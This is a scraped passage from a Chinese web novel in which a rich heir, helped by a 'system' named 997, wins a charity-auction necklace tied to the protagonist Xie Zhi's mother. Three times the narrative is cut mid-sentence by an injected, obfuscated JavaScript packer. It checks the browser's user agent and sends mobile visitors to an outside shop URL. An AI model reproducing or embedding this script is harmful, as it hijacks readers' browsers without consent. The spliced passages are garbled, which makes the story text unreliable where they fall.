“如果没有,那这祁家小少爷什么意思?”魏河风盯着谢执的脸看了半天,“今晚这架势,可不像在找你茬。” “那像什么。”谢执忽地漫不经心回了这么一句。 “像在护着你。”魏河风如实道。 这是谢执今天第三次听到这话。 “那小少爷想做什么?”魏河风简直丈二的和尚摸不着头脑,转念一想,又说,“但也可能是手段,你别掉以轻心。” “祁漾当初把你从谢家要过去就有他的目的。” “后来又把你推下水。” “他肯定……” 魏河风絮叨的声音一阵起一阵落。 谢执思绪却只停留在“推下水”那三个字里。 谢执站在偌大的落地窗前,低头俯瞰整座京府。 山脚的大堰湖在月色照耀下闪动着微光。 像极了那天的海面。 谢执就在这微光间想起祁漾从甲板坠落前看他的那一眼—— 错愕,茫然,张嘴喊了一声“喂”,然后不假思索抬手去拉他。 无辜到好像把人推下海的不是他。 魏河风直到现在,还始终以为谢执在海里最后一刻松了手,选择放过祁漾,是因为想到了祁漾的身份,想到了祁家。 ——其实只是因为那一眼。 明明放任不管,冷眼旁观才是谢执,最后却将人从海里托了起来。 也是因为那一眼。 那一眼救了祁漾。 可谢执松手的那一下无关什么怜悯,也不会因为祁漾拉他的那一下抵什么罪过。 他只是想知道,那人在无辜什么。 推他下水,又朝他伸手,挡在他身前…桩桩件件。 谢执垂眼,莫名扫了眼手腕的位置。 那枚绿底珐琅袖扣留在了那艘船上,谢执却不知道第几次想起它。 良久,他收回视线。 “项链谁去拍。”谢执问。 魏河风:“静雯,给她单独支了一个账户,注册缴纳了诚意金,以她个人名义去拍,税务收据也不走公司的账。” “…不过你确定今晚会拍卖舒姐那条项链?” 远处山峦脊线在暮色中起伏,落地窗玻璃被夜雾洇湿,谢执用指腹捻出一粒玉块大小的清晰斑点。 “会。”他说。 - “今天这晚宴怎么回事?谢家的主场,怎么谢老太爷和谢家老大都没人出席?还是老二主持的?” “你是真不知道还是装糊涂?长孙还在重症里躺着,谢老爷子和老大夫妇哪里还有那个心思来什么晚宴,能办起来都不错了。” “你这话不对,老大家哪里没人出席了,你看,那私生子不就来了吗?” “我还想问你呢,我也就几个月不在天城,这谢家私生子什么时候傍上祁家那宝贝疙瘩了?” “你问我我问谁,只能说那私生子有点手段,能…别说了别说了,人来了。” 从祁漾带着谢执入场那一刻起,全场的焦点几乎就没旁落过。 探究的目光无数,两人好像都没看见。 谢执又一次起身,身旁的人也意料之中的动了。 虽然没说话,但骤然偏转的脸和朝着他条件反射似的转动的脚尖,都好像在问他“去哪”。 谢执停顿片刻,终是笑了。 他重新转回身,就保持着要离开的姿势,看向祁漾。 祁漾还坐在覆着绸缎的宴会椅上,像是被谢执突如其来的转身惊了一下,脸上的神色都没来得及收回。 两人一坐一站。 谢执居高临下看着他。 “紧张什么,”谢执嘴角扬起一个极浅的弧度,笑意却不达眼底,“跑不了。” 祁漾:“……” 祁漾撇过脸去。 他脸上不做表情的时候,眉眼其实很疏淡,极漂亮的皮相此时反而带出一种拒人千里的攻击感。 跑了倒好了,祁漾在心里说。 他哪里是怕谢执跑了。 是怕他“找死”。 怕自己第一时间赶不过去。 祁漾索性不再看他,随手拿出手机:“邀请函那样的事我懒得再处理一遍,你是我带来的,做什么都是我的脸面。” “你要是能干脆利落解决掉谢元正那样的麻烦,不丢我的脸,想去哪里,随你。” 麻烦。 谢执这次笑意深了些。 他收回视线,重新入座:“谢元正知道自己是个麻烦么。” “怎么,你要去告我的状吗。”祁漾道。 两人都没看彼此,一来一回,气氛竟诡异的和谐。 和谐到正通过窃听器监控这边情况的魏河风都懵了。 这老友闲聊的既视感是怎么回事? 魏河风不知道的是,有的人看似安稳坐着,其实魂已经散了一半。 祁漾在手机敲下第三行乱码。 “997,谢执可能看出我在拦他了。” “没关系,”997宽慰道,“宿主你说的,走一步看一步。” 在997问祁漾打算用什么法子接近谢执的时候,祁漾给他的答案就是:“顺其自然,走一步算一步。” 最不算办法的办法,却也是最有效的办法。 因为无论是997还是祁漾,彼此都很清楚,不管用什么方式接近谢执都会被怀疑,与其机关算尽折腾自己,不如走一步算一步,按部就班完成任务。 宾客入座,谢家致辞,晚宴进行,一个流程接着一个流程,祁漾神经却越绷越紧。 后台经验任务栏上那个鲜红的“①”始终挂在那边,没有丝毫动静。 就在祁漾怀疑是不是自己拦住谢执这一举动影响了任务时,晚宴进入它的重头戏。 一盏冷白射灯遽尔照向宴会中央的仪式台。 全场灯光渐次暗下来,穿着一袭盘口缎面旗袍的拍卖师落落大方走上拍卖台。 “尊敬的各位来宾,女士们,先生们,晚上好。” 拍卖师以槌做序,拉开今晚慈善晚宴最高潮的一页。 拍品如流水,这边起,那边落,聚光灯只聚焦在台上,暗流却在台下涌动。 没人真的在乎什么藏品,博的只是一个善名和露面机会。 祁家一早安排好了举牌的人,祁漾的竞价牌从始至终都没有抬起过,甚至都没在意台上到底过了什么拍品。 “997,晚宴都快结束了,任务点到底是什么?” 祁漾正说着,拍卖台已经展示下一个藏品。 拍卖师清亮的声音响起。 “诸位来宾,接下来这件拍品,是一条莫桑比克红宝石项链,主石是一枚五克拉椭圆形无烧鸽血红莫桑比克宝石,四周以钻石群镶,由一位从未公开露面的设计师创作。” “起拍价50万,加价不限,请举牌。” 祁漾抬起眼,看到那条项链的瞬间,莫名停了两秒。 还算抓眼的一条珠宝。 祁漾正想着,耳边率先传来竞价的声音。 “五十……”一道有些发沙的中年男声在宴会厅响起,似是故意拖着腔停顿几秒,然后一字一字道,“五十万,加一百。” 全场一惊,齐齐朝着那边看去。 祁漾骤然蹙起了眉。 加一百? 这哪里是来竞拍的。 摆明了来恶心人的。 周遭哗然声一点一点变响。 “哪来的傻子,谢家的晚宴,他出个这么侮辱人的价?” “等等,好像是范总?” “范家?范锐达?他家前段时间不是刚和谢家签了一个海外钢铁厂吗?怎么今天……” “不是,你看,坐范锐达身边和他说话的是不是老三家那小儿子谢元正? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444220|201078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “好像还真是。” “所以这五十万加一百是谢家的意思?” 祁漾眉头越皱越深。 正打算给蒋高轩发条消息问问,耳边突然传来997的声音。 “宿主,任务点动了!” 祁漾心脏都漏跳一拍。 等了一晚上,终于来了。 这下他也管不上周遭的哗动了,在997“滴滴”的提示声中,立刻检查后台任务栏。 那个鲜红的“①”不住闪动,祁漾屏息一点开,懵了。 这个眼熟的灰白渐变的齿轮状旋转圆环是…? “997?”祁漾疑惑开口。 997语气难得有点害臊:“…正在缓冲,宿主。” 祁漾缓缓闭上眼睛:“气氛都架到这里了,你跟我说正在缓冲。” “我、我尽快加载,宿主您稍等。” “算了,”听着997卡顿的声音,祁漾重新靠在椅背上,“你慢慢来吧,也不差这一时半会。” 997闷头加载,任务点当前,祁漾根本不敢贸然行动。 等他从后台退出来,台上这项链已经喊到了80万。 “80万,加一百。” 又是加一百。 又是范锐达。 “85万。”一道女声在宴会西北角响起。 祁漾循声望去,看到一张明媚利落的新面孔,还来不及细看,左后方的范锐达再次举牌跟上:“85万,加一百。” 在祁漾重新抬眼望向台上的项链的这几秒里,底下一些初谙世事的年轻人也跟着回过味来—— 这全场竟然只有两个人在竞价?! “爸,你不是说今晚要在谢家这宴会混个熟脸吗?刚刚那瓶白雪香槟你都喊了两次,这次你不喊?这项链挺好看的啊,场上又只有两个人在喊。” 那中年男人没说话。 “真不举?你不举我举,小萱刚好要生日了,我——” “我说你是缺根筋还是少根弦?你看不出来这项链有问题?” “有问题?不会吧,也就主石小了点,品相看着还不错,这谢家的拍卖会不至于出现残次品吧?” “这是品相的事吗?”那中年男人一把夺过儿子手中的竞价牌,扯过他的袖子,示意他往一个方向看,“喊价的叫范锐达,范家上个月刚和谢家签了个大项目,坐他身边的就是谢老爷子三子的小儿子,谢元正。” “你当他为什么每次都只往上喊一百?” “这是替谢家喊的!” “摆明了这项链有问题,现在谁拍就是得罪谢家。” “也就那种不知道哪来的年轻小妮子不长眼,上赶着给自己找麻烦。” 说完,那中年男人再看向台上那条红宝石,吐了句:“晦气玩意。” 又一轮举牌。 项链竞拍价转眼来到一百万。 那中年男人口中不知道哪来的不长眼的“年轻小妮子”元静雯掩在披肩下的手慢慢攥起。 到底什么情况? 怎么会只有两个人在拍? 那边范锐达再次喊出“一百万加一百”。 元静雯面上还是游刃有余,任谁看都是一副好像的确只是心血来潮拍条项链的直率模样,心神却已经有些不宁。 她借着拢头发的动作,拨出一个电话。 魏河风的声音透过隐藏式耳机传来:“情况不对,先停下,再喊就太显眼了。” 元静雯也是顾虑这个,才打给了魏河风。 “早知道刚开始就直接上一百万,”元静雯声音冷下来,在唇缝间开口,“要不是怕太扎眼,还轮得到他在这恶心人?” “你就是真喊了一百万,他也会跟。” “这项链是舒姐当初设计给福利院的,不知道怎么落到了谢光誉那老畜生手里,现在他儿子在重症躺着,他拿这条项链出来,就是想给谢执一个警告。” 元静雯知道项链的来历,但不知道还有这一层:“那老大今天没来呢?” “谢执来不来都不要紧,这事都会传到他耳朵里。” 魏河风顿了下,又轻声说:“或许也有谢老爷子的授意。” 谢执来了,就让他亲眼看着沈舒的项链被拍走。 谢执没来,也会从谢家人口中知道项链被拍走。 拍走的还是范锐达这种酒色之徒。 元静雯:“那范锐达……” 魏河风:“工具罢了,拍下也会重新送回谢家去。” 元静雯只觉得一阵作呕。 两人通话还保持着,没有挂断,却也没再说话。 整个宴会厅原本此起彼伏的交头接耳声也一点一点静下来,静到甚至有些发瘆。 连候在一旁的几个侍应生都看出端倪。 没人喊价怎么也不落槌? 现在不应该是最硝烟弥漫的时候吗? 这哪里还像个拍卖会? 几人你看看我,我看看你,最后转头看向台上的拍卖师。 拍卖师一颗心都提到了嗓子眼,举槌的手僵在一旁,敲也不是,不敲也不是。 不是她不想落槌,实在是…拍卖师低头看着刚递到她手上的这张卡片。 上面只有一个字,拖。 拍卖师有苦难言,职业素养加持下,只能四指并拢抬起手掌,指向某个方向。 “贵宾还加吗?” 被示意的元静雯肩膀几不可见地往下塌了塌。 既然是谢家的手笔,那今晚这条项链是怎么也拍不下来的。 再喊价只会暴露自己。 元静雯露出一个真挚的假笑,被恶心得够呛,也不想说话了,就学着拍卖师的手势,朝着范锐达那边的方向一抬手,示意“成人之美”。 “997,还没缓冲好?”祁漾看着这一出闹剧,眉头始终没松过。 “大概还要一会,宿主。” 祁漾食指在竞价牌上有一下没一下点着,同时也望着台上那条折射着火彩,颜色浓烈的红色宝石。 “你缓冲你的,我拍条项链不影响吧。”祁漾忽地开口。 9. “那我是什么人啊。” 祁漾知道眼下是任务点的关键时刻,997也来回强调,安全起见,什么都不做,先等任务点刷出来才是最妥帖的。 可祁漾就是觉得这条项链合眼缘。 没有由来。 祁漾手指往下一移,握住竞价牌正要喊—— “那边不喊了?看来这项链要花落范总了。” “很少见范总对珠宝感兴趣啊,这次怎么这么有兴致?” 祁漾身后吵闹起来,他停下动作,微偏过脸。 “这是要拍条珠宝回去给夫人吧?这项链主石是小了点,但胜在款式设计得还不错,拍回去博范太太一个开心也挺好的。” “还是范总有心啊哈哈哈。” “我太太?”范锐达终于开口,说完这三个字,脸上横肉跟着笑开,“你也知道我太太眼光高,这种连个设计师名字都拿不出手的东西,她怕是看不上的。” 祁漾眼睫垂着,整个人一下冷下来。 图穷匕见。 很好。 他也想知道,这群人今晚到底在搞什么把戏。 “既然不是送给范太太…”又有人接了一腔,刻意停顿后,似是恍然大悟似的晃着手指,“那就是送家里的小太太了?” 这次范锐达却没反驳,又咧嘴笑开,带出一种闷颤的浊音。 “你看我这记忆,范总不提我还差点忘了,过两天就是小嫂子生日了是吧,那范总这项链算是送到人心坎上了。” 几人的声音都没有克制,虽不足以响及全场,但大半片都听到了。 离得近的几个年轻女孩眉心一点一点拧成结。 范锐达转着手中的佛珠,眼睛笑得只剩两条缝:“什么项链配什么人,外妇嘛,一百万打发打发就行——” “三百万。” 一道慵懒柔和的男声如玉石掷落在地。 范锐达手中的佛珠手串被一把攥紧。 哪来的不长眼的兔崽子,敢下谢家的面子,范锐达循声猛地转头—— 一只干净到像是上好白玉琢成的手点着竞价牌,在范锐达眼前慢慢举起。 先喊价,再举牌。 在这个一呼一吸都讲究先后的利益场,这人的竞价号码牌上写着三个连号的数字:999。 全场一愣,紧接着不知道从哪里传来吸气的声音。 “…三百万?这么加吗?” “谁喊的?” “这节骨眼喊这个价?” “怎么好像也是范总那个方向?” 又安静两秒,宴会场所有人顺着拍卖师眼神的方向,朝着那边看过去,然后在同一时间,和被震住范锐达一样,看到了那块印着“999”的竞价牌,然后顺着那白底黑字的竞价牌往下一看—— “…这什么意思?” “我没看错吧?” 刚被教育过一顿的那个年轻二代嘴唇都嗫嚅两下,手一滑,直接给了他爸一个肘击。 “爸,你不是说这项链晦气,现在谁拍就是得罪谢家吗?” “……” “祁少怎么拍了?” “………” “这又是什么门道?” “………闭嘴。” “…好的,”饶是见惯了大风大浪的拍卖师一时都有些没反应过来,但即便她不认识喊价的人,也该认识“999”这块竞价牌,拍卖师扬起职业微笑,“三百万一次。” 魏河风死死盯着那张“999”竞价牌的方向。 【魏河风:?】 【魏河风:祁漾怎么下场了?】 【魏河风:祁家不是派了代表吗?祁漾一晚上头都没怎么抬过,怎么突然对这条项链起了兴趣?】 【魏河风:你快想办法啊,这项链落到祁家可比落在谢家还难拿!】 【魏河风:…靠,这不会是和谢家串通好的吧?】 魏河风的短信一条接着一条。 谢执两行并一行扫过,目光只在最后那条“和谢家串通好”上多停留了两秒。 谢执长指一点,手机正要熄屏—— “漾漾,”身后谢元正的声音粗糙得像在砂纸上磨过,显然在强压着情绪,“怎么突然对这条项链有兴趣了?” “合眼缘就拍了,”祁漾实话实说,“颜色漂亮,款式也简洁。” “是哪家的设计师?”他似是不经意的又问了一句。 在祁漾举牌那一秒就快步走过来等候的负责人瞄了谢元正一眼,斟酌了一下用词,道:“是私人藏品,设计师没有署名。” “私人藏品啊,”祁漾不紧不慢重复了一遍,“挺好的,独一份的好东西。” “独一份”、“好东西”两个词一出,谢元正脸色已经不能用难看形容。 身旁的范锐达看着谢元正手背上暴起的青筋,喉咙像是被什么东西扎穿了,他强装镇定,正想说点什么,前方从头到尾都没转过身的祁漾忽然慢慢撇过脸。 范锐达下意识以为祁漾要和谢元正说话,下一秒却听到一声—— “范叔。”祁漾没由来地笑着喊了这么一句。 范锐达喉咙竟有些发紧,连“唉”了两声。 “你刚刚说,什么项链配什么样的人,”祁漾笑意更甚,慢声又平淡地开口扔下下一句,“那我是什么人啊。” 明明是得体且尊重的一声“叔”,范锐达却如坐针毡,冷汗直冒,好半天才硬挤出一个表情来:“贤侄…咳,祁少当然是天城独一份的贵人。” “范叔过奖了,”祁漾仍旧笑着,语速更缓,“那这项链——” 范锐达嘴里苦得像是在吃黄连:“…自然也是独一份的珍品。” 拍卖师:“三百万,第二次。” “范叔,”第三声范叔,这次祁漾脸上的笑意倏地散了,像是终于懒得再摆什么面子,声音冷漠地提醒,“该你举牌了。” 直到这时,范锐达才后知后觉的发现,在祁漾撇过脸说话的这两分钟里,他手上的牌子始终没放下。 是…跟到底的意思。 也就是说,全场无论谁出价,他永远往上加一口。 范锐达整个人贴在宴会椅上,看着祁漾冷然的脸,颓然道:“项链太贵重,我…拿不起,祁少请。” 祁漾淡声:“那承范叔相让了。” 拍卖师环视全场,一圈,两圈。 最后视线回到那张“999”上。 “三百万,三次。” “成交!” “咚”,清脆槌声在宴会厅一圈一圈回荡。 一槌定音,尘埃落定。 谢执轻点着屏幕的手指终于停下。 台上已经井然展出下一件拍品,祁漾身边却骤然热闹起来。 “这项链确实不错,还是祁少眼光独到哈哈。” “是这宝贝和祁少有缘了。” “东西好是其一,三百万也是大气。” 现在说项链不错的恰恰也是刚刚嫌项链晦气的那几个。 祁漾没太理会,嫌吵,只简单应了几个女孩的恭喜声。 应完一回头,看到范锐达和谢元正的位置不知道什么时候空了。 祁漾蹙眉。 范锐达今晚这一出戏的用意到底是什么? 祁漾正想着—— “为什么要拍这条项链。” 嘈杂的人声里,一道没有任何情绪的平静男声在其中响起。 离得很近。 “想拍就……” 意识到说话的人是谁后,祁漾怔住。 他转过脸,撞进谢执的视线。 时隔不久再度直直对上这对双眼。 和甲板上那双眼睛比起来,依旧没什么温度。 但里头好像少了点什么,也多了点什么。 祁漾形容不出来,只是那种似乎每根神经都要炸开的警报信号渐渐消失了。 “合眼缘就拍了。”祁漾说。 谢执得到了一个潦草答案。 他没继续问,转回视线。 “还有。”那人的声音又响起。 谢执停下动作。 “范锐达太吵了,”祁漾不知道什么时候点开了手机,靠着椅背,低着头,刚刚举着牌喊出三百万的右手此时在手机屏幕上有一下没一下戳点着,和几分钟前冷淡贵公子的模样相比,莫名多了点少年气,声音倒是还清冷矜贵的,“倒胃口,图个清静。” 谢执把祁漾所有表情和动作一一收进眼底。 台上一枚微刻心经童子洗象寿山石印章以108万成交,谢执在落槌声中侧过脸,看向身后同时空掉的两个座位。 手机屏幕再度闪起。 【到底怎么办你回个话啊。】 【如果真是祁漾和谢家串通好的,要拿回来就不是三百万的事了。】 【动作要快才不会让人起疑。】 【或者等下宴会散场我找个机会让静雯和祁漾搭上话,找个借口,就说这项链很合眼缘,出个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444221|201078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 价买回来?】 两分钟后,久等半天的魏河风终于收到迟来的回信,他手忙脚乱一打开—— 完了,熬太久,都熬出幻觉了。 魏河风闭了闭眼睛,在眼眶上按摩了两下,再度睁开。 “谢执疯了?” 同样等待的元静雯在耳机里乍然听到这么一句:“?” “风哥,怎么了?老大说什么了?是让我去买回来吗?” “…不是,”魏河风盯着手机屏幕,一字一字道,“你老大说,项、链、给、他。” “他?谁?” “祁、漾。” “啊!女士您杯子倒了,没事吧?” “我给您重新换个杯子。” 宴会西北角传来一阵轻微的惊呼,动静引得好些人转头往那边看,祁漾却头都没抬。 今晚他不知道第几次打开后台。 还在缓冲。 997没出现,有人却比997来得更快。 “祁少,东家说看您对这项链有兴趣,就提前给您拿来。” 按照程序和规矩,所有拍品都必须签订完确认书,支付款项才会送到买主手上。 到祁漾这却是项链和确认书同时送达。 坏了规矩,却没有一个人觉得不对。 祁漾心里惦记着任务点,本想让人直接把项链送到车上,负责人却骤然把项链打开了。 为了把视线聚焦在台上,底下光线其实不算亮,可宝石颜色还是很漂亮。 祁漾抬手接过,细细看了两眼。 “送到我车上吧。”说着,祁漾正要合上,视线倏地一顿。 这黑色套链盒最底下竟然还有一个标记。 祁漾下意识停了两秒。 那标记的线条并不规整,不像是什么品牌logo,更像是手绘后印上的。 看图案形状,似乎是一轮圆日。 标记底下还有一行字母,Shuse。 Shuse? 负责人紧紧盯着祁漾每个表情,特地等了好一会才说:“曙色。” “什么?” “这项链名字叫‘曙色’。” 负责人像是很纯粹地在做藏品介绍,目光却开始在祁漾和谢执之间游移:“角声催晓漏,曙色回牛斗的‘曙色’。” “这名字你们取的?”祁漾问。 “不是,是设计师取的。” “这套链盒底下的标记也是设计师手绘设计。” 曙色。 祁漾此刻再回过头来看这条项链,火彩闪烁的红宝石确实像轮红日。 “好名字。”祁漾说。 负责人没放过祁漾一点表情变化,心里隐隐有了定论,这才俯身把签订确认书递给祁漾:“那麻烦祁少签个字。” “今晚这些款项都用在哪些公益项目?”祁漾随口问。 “基本用于教育助学、大病救助和社会福利院等项目。” 祁漾一目十行浏览完,接过那人手中的笔,正要签字,落笔的瞬间却又停下。 祁漾又看了那项链一眼:“以设计师名义捐出去吧,寓意也好。” 负责人顿住,像是没想到这一茬,但又很快接上话:“抱歉祁少,我们这边只知道是位女设计师,其他信息都没有。” 哦对,匿名设计师,祁漾差点忘了。 见祁漾还没落笔,把人情场周旋当饭碗的负责人思量片刻,说:“既然祁少觉得‘曙色’这个名字寓意好,那就依照以往惯例,取首字母做匿名代替捐赠?” 也好。 祁漾“嗯”了一声,提笔在那单子上签下两笔—— SS。 钢笔合上,“啪”的一下。 “款项等下……”钢笔合上的瞬间,祁漾脑海里忽然也“啪”的一下,像断了一根弦。 等等,这个“SS”…怎么感觉有些熟悉? 好像在哪里出现过。 SS,曙色…… 曙…Shu…舒…… 就在祁漾大脑开始失去运转时,耳边响起滋啦滋啦急促的电流声。 997的声音跟后台任务点闪动的提示音一同炸响。 “宿主任务缓冲完了这项链是沈舒当初设计给福利院的!刚刚跟范锐达一起竞拍的那个女孩子就是谢执安排的,你想个法子帮她拍下这条项链,等她把项链送回谢执手上任务就完成…宿主你手里这是什么???” 997尖锐爆鸣。 10. 好像有点不对劲 就在祁漾和997一人一统疯狂对账的同时,此时的唐河京府第三庭院内。 “少爷,祁少看起来确实不知道这项链的相关细节。” “我跟他说是位女设计师,项链名字叫‘曙色’,他也没什么特别反应,只说这名字起得不错。” “看上去对项链有点兴趣,但也不多,和三少…和谢执也没什么交流。” 负责人虽然也不知道东家为什么让他去试探这个,但如实一一说了。 谢元正按了按自己的太阳穴。 是他多想了。 也是,这项链的来历只有谢家本家人知道,连旁系都不清楚,祁漾怎么可能知道? 疑虑消除,可谢元正胸口那团火还在烧。 他一边说,一边扯过负责人手上的确认书:“你确定看清祁漾的…为什么是‘SS’?!这确认书谁签的?” 谢元正猛地掐住负责人的领子:“祁漾签的?” 一脸懵的负责人:“是、是的。” 谢元正表情更狠:“他为什么签这个名字?” 这跟直接签沈舒有什么区别! “…祁、祁少说项链名字叫曙色,寓意好,打算用设计师名义捐了,但、但设计师是匿名,我就依照惯例,建议祁少取了‘曙色’首字母做匿名捐赠。” 负责人感受到谢元正的怒意,他不知道这“SS”到底有什么问题,可这建议的确是他提的,那头又是祁漾,根本没法扯谎,只好硬着头皮实话实话。 “这、这都是常规操作啊。” 无论是私人洽购还是委托竞投,在不想暴露真实身份或代替捐赠时,常用代号署名,全都是行业惯例。 尤其在慈善性质的拍卖会上,用字母或数字署名的更是比比皆是。 “是你建议签的‘SS’?不是祁漾说的?” “是、是的。” 看着谢元正暴怒的脸,负责人几乎以为自己今天要卷铺盖了,直到一声“元正”在走廊响起,他循声一回头,看到谢阳荣的身影,低着头喊了一句:“三爷。” 谢元正听到他爸的声音,终于松了手。 “今晚是你二姑的场子,办的又是慈善晚宴,你想在这里动手?”谢家老三谢阳荣看向负责人,“下去。” 负责人连连点头后快步离开。 “一点小事就暴跳如雷,怎么比得上你那几个哥哥姐姐。” “哥哥姐姐?”谢元正狠狠踢向墙角,“我大哥现在还在重症里躺着,谢执却好端端坐在那!” “还有祁漾,今晚他带谢执那私生子回来什么意思?他不是和大哥关系好吗?” “就是因为你大哥躺在重症里,你才更要好好表现,替他和祁漾维持好关系。” 一个“替”字让谢元正转回身来。 “爸,你是想让我替大哥和祁漾维持好关系,还是……” 取代大哥的位置。 谢阳荣掸着西装袖子上不存在的灰,没回答这个问题。 谢阳荣:“祁家那少爷金贵,眼里容不下沙子,也容不下傻子。” “既然他不喜欢范锐达,你就离范家远点。” 谢元正咬牙:“那谢执呢?祁漾护着谢执,我也得跟着护着?” “护着?”谢阳荣笑了。 “昨天蒋家那艘船上发生了点事,是不是护着现在还不知道。” “至于谢执,”谢阳荣点了一根烟,“一个私生子攀上不该攀的人,是得吃点苦头。” 谢元正一顿。 “在你那几个哥哥姐姐给你爷爷发消息前,把项链被祁漾拍走这事告诉他老人家。” 说着,谢阳荣又从身后助理的手上接过一样东西,看着谢元正,说:“连着这个东西一起。” 谢元正接过—— 是那张写着“祁漾&谢执”的邀请函。 - “宿主,不是你的问题,是我的问题,缓冲太慢了。” “而、而且我翻过刚刚的影像数据了,谢执安排的那个女生已经放弃竞价,如果你没举牌,沈舒这项链大概率会落到范锐达手上。” 祁漾没有被安慰到,只觉得难为997这个系统了,还帮他找借口。 祁漾长叹一口气,本着就算死也要死个明白的精神,点开后台闪烁的任务点。 一看,祁漾怔住。 “…997,这任务是帮谢执拿回项链?”祁漾问。 “是的。” “那任务还没失败啊。” “失败?”997立刻道,“我没说任务失败了啊。” 祁漾一惊:“你不是说要想法子帮那女生拍下这条项链吗?我以为任务是这个。” “不是,任务是帮谢执拿回项链,但根据后台测算,帮那女生拍下项链是最优解,”997道,“…否则以谢执的性子,宿主你怎么把项链‘送’出去?” 祁漾沉默好一会。 “我确实送不出去,”祁漾像是忽地想到了什么,黯了半天的眼睛终于重新亮起,“但不代表谢执不会来要。” 997:“…啊?” “以你家男主的性子,既然安排了人来拍项链,那肯定也留了后手,”祁漾几乎能肯定,“我不用主动开口,也什么都不用做,等就行了。” 997沉默。 997反应过来。 997兴奋开口:“宿主你是说谢执安排的那个女生会来买这条项链?” 祁漾挑眉:“如果她想要,他也想要的话。” 997:“宿主你说得对!” 一人一统就这样乖巧等待。 拍卖会结束,谢执没来要项链。 “没关系,拍卖会刚结束,现在就来要项链意图太明显。”祁漾“一切尽在掌握”地对997说。 晚宴结束,谢执没来要项链。 “没关系,现在人多眼杂,我去阳台装作接个电话,给他操作空间。”祁漾“放心交给我”地对997说。 阳台的晚风吹了十五分钟,谢执没来要项链。 “…没关系,唐河京府是谢家挑的,说不定还有眼线盯着,谢执谨慎点也情有可原,先回车上,让杨叔开车沿着京府转一圈。”祁漾“问题不大”地对997说。 杨叔的车绕着京府转了三圈,谢执没派人来要项链。 “……没关系,谢执有自己的考量,或许是不想那女生露面,找了人在其中牵线,回去等吧。”祁漾“好像有点不对劲”地对997说。 宾利载着两人回到别墅。 因为这该死的任务点和烫手的项链,祁漾甚至都没力气去和997争辩“‘祁漾’把谢执从谢老太爷那里要过来就算了,为什么还要住一起”这种毫无逻辑的剧情,一心挂在任务上。 祁漾和997从深夜等到午夜。 午夜又到凌晨。 天亮—— 祁漾睁眼到天明。 “没关…”祁漾再也绷不住,声音空洞到像是从地底深处透出来的,“997,你家男主到底哪里有问题?” “他不是玩计谋手段的一把好手吗。” “不知道什么叫兵贵胜,不贵久,迟则生变吗。” “一条女士项链,一晚上过去了,如果我动作快点,这项链现在就该出现在我妈珠宝室了。” 窗外天光已经大亮许久,楼下帮佣谈笑的声音也逐渐变响。 997也百思不得其解,正要开口说话,先捕捉到了门口的信号。 “宿主,有人来了。” 几乎是997声音落下的瞬间,门就被敲响。 “少爷,”管家助理脑袋窜进来,“有客人来了。” 祁漾昨晚特地发了话,说这两天如果有客人来,询问清楚理由,然后请进来,还要第一时间通知他。 祁漾一晚没睡,头脑有些发胀,但还是掀了被子:“来做什么的。” 帮佣:“好像说是昨晚拍卖会项链什么的。” “宿主!!!”997激动到噼啪闪了两下。 “听到了。”祁漾吊了一晚上的心终于安稳落下。 他倒是也想喊两句,但实在没力气了,现在只有“终于来了”的解脱感。 “我换个衣服洗漱完就下去,”祁漾从床上踩下来,穿上拖鞋,“你们先招待,别怠慢了。” “对了,那女士一个人来的还是带了伴?”祁漾顺嘴问。 “是一个人来…啊?女士?不是啊,来的是男生。” “男生?”祁漾脚步顿住。 “嗯,男生,我不认识,但杨叔认识。” 祁漾这下真是有点懵了。 “杨叔认识?” 砺石的人神龙见首不见尾的,杨叔怎么会认识? “对啊,”管家助理继续道,“杨叔说是谢家的少爷。” 耳鸣,眼花。 祁漾太阳穴像被什么重重击了一拳。 “你说,谁家的少爷?” 祁漾没等人回答,直接踩着拖鞋一个转身,俯身摁响床头柜上的内线电话。 “少爷。”司机杨叔的声音很快在电话里响起。 “杨叔,来的是谢家的谁?”祁漾木着脸干脆砸下一句。 “谢家的谢祥少爷。”杨叔说。 “谢祥?”祁漾耳朵又嗡的一下。 这喇叭过来干什么? 谢家宗族观念极强,子女众多,光谢老爷子谢建底下就有两女三子。 谢祥是谢家五爷的小儿子。 祁漾最烦的也是他。 杨叔隐约察觉到祁漾的情绪:“少爷,您昨晚说有客人要来,底下人以为你和他约好的,就接进来了,那现在…?” “不见,让他从哪儿来,回哪儿——” 最后一个“去”字祁漾还没来得及说完,窗外就劈雷似的炸出一声:“不是说你家少爷醒了吗?怎么这么久还不下楼?” 祁漾太阳穴鼓胀频率骤然加快。 行。 正好攒了一肚子闷气没地发。 上赶着是吧。 祁漾连衣服都没换,就穿着睡衣,简单洗漱醒了醒神,推开门径直走出去。 一晚上没睡,楼下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 